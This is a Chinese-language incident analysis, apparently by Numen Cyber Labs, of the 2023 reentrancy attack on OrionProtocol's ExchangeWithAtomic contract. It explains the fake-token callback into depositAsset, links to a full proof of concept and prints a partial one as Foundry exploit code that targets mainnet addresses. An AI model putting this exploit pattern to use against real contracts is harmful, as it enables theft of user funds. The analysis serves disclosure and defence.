根据NUMEN链上监控显示，Feb-02-2023 03:40:20 PM +UTC，Ethereum和Binance链上OrionProtocol因为合约漏洞遭到重入攻击，损失 2844766 USDT （Ethereum）和 191606 BUSD (BSC)，价值约290 万美元。
Ethereum链过程分析：
攻击者地址：0x837962b686fd5a407fb4e5f92e8be86a230484bd
攻击者合约：0x5061f7e6dfc1a867d945d0ec39ea2a33f772380a
攻击交易：0xa6f63fcb6bec8818864d96a5b1bb19e8bd85ee37b2cc916412e720988440b2aa
攻击者首先创建Token合约(0x64acd987a8603eeaf1ee8e87addd512908599aec)，并对Token进行转移及授权，为后续攻击做准备。
攻击者通过UNI-V2.swap方法借款并调用ExchangeWithAtomic.swapThroughOrionPool方法进行代币兑换，兑换路径为
path=[USDC, 0x64acd987a8603eeaf1ee8e87addd512908599aec,USDT]
路径0x64ac…0aec是攻击者创建的Token合约，攻击者将使用该合约进行回调。
调用ExchangeWithAtomic.swapThroughOrionPool方法兑换时，由于攻击者创建的Token合约存在回调，所以攻击者通过Token.Transfer继续回调ExchangeWithAtomic.depositAsset进行重入让存款金额累加，随后取款完成获利。
黑客初始资金来自于币安热钱包账户，获利的1651枚ETH其中还657.5枚还留在钱包地址中，其余的已经通过Tornado.Cash进行转移。
关键问题在doSwapThroughOrionPool函数
合约地址：https://etherscan.io/address/0x420a50a62b17c18b36c64478784536ba980feac8#code
然后跟进到_doSwapTokens函数。
看到转账发生之后更新curBalance，所以在faketoken的transfer新增一个回调功能，回调代码就是调用depositAsset函数，所以导致curBalance错误更新，然后攻击者在还完闪电贷之后调用withdraw提走资金 。
部分POC代码：
contract CounterTest is Test {function setUp() public {}UNI uni=UNI(0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852);USDT usdt=USDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);USDC usdc=USDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);OrionPoolV2Pair orionpoolv2pair=OrionPoolV2Pair(0x13e557c51C0a37E25E051491037Ee546597c689F);ExchangeWithAtomic exchangewithatomic=ExchangeWithAtomic(0xb5599f568D3f3e6113B286d010d2BCa40A7745AA);OrionPoolV2Factory orionpoolv2factory=OrionPoolV2Factory(0x5FA0060FcfEa35B31F7A5f6025F0fF399b98Edf1);address[] public tokens;function testa() public{ERC20 fakeA=new ERC20("fakea","fa");address pair1=orionpoolv2factory.createPair(address(fakeA),address(usdc));address pair2=orionpoolv2factory.createPair(address(fakeA),address(usdt));vm.prank(0x0A59649758aa4d66E25f08Dd01271e891fe52199);usdc.transfer(address(this),500000);vm.prank(0x0A59649758aa4d66E25f08Dd01271e891fe52199);usdc.transfer(address(this),1000000);vm.prank(0x0A59649758aa4d66E25f08Dd01271e891fe52199);usdc.transfer(address(pair1),500000);vm.prank(0x5754284f345afc66a98fbB0a0Afe71e0F007B949);usdt.transfer(address(pair2),500000);vm.prank(0x5754284f345afc66a98fbB0a0Afe71e0F007B949);usdt.transfer(address(this),1);fakeA.transfer(address(pair1),500000000000000000);fakeA.transfer(address(pair2),500000000000000000);pair(pair1).mint(address(this));pair(pair2).mint(address(this));usdt.approve(address(exchangewithatomic),type(uint256).max);usdc.approve(address(exchangewithatomic),type(uint256).max);usdc.approve(address(orionpoolv2pair),type(uint256).max);tokens.push(address(usdc));tokens.push(address(fakeA));tokens.push(address(usdt));exchangewithatomic.depositAsset(address(usdc),500000);uni.swap(0,2844766426325,address(this),hex"000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec700000000000000000000000000000000000000000000000000000296594ad4d5");console2.log(usdt.balanceOf(address(this)));}function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external{exchangewithatomic.swapThroughOrionPool(10000,0,tokens,true);//uint r1=exchangewithatomic.getBalance(address(usdt),address(this));uint256 r2=usdt.balanceOf(address(exchangewithatomic));exchangewithatomic.withdraw(address(usdt),5689532852749);usdt.transfer(address(uni),2853326405542);}function deposit() public{uint r3=usdt.balanceOf(address(this));exchangewithatomic.depositAsset(address(usdt),uint112(r3));}}
测试结果如下 ，其和调用栈结果一致。
完整PoC链接：
https://github.com/numencyber/SmartContractHack_PoC/tree/main/OrionProtocolHack
NUMEN实验室提醒项目方，合约存在兑换功能时，需要考虑多种Token以及多种兑换路径出现的意外情况，并且对于合约代码逻辑遵循先判断，后写入变量，再进行外部调用的编码规范（Checks-Effects-Interactions）会使项目更加安全稳定。保障合约风险尽可能被消除在链下，NUMEN专注于为Web3生态安全保驾护航。
原文始发于微信公众号（Numen Cyber Labs）：OrionProtocol 重入攻击分析附PoC
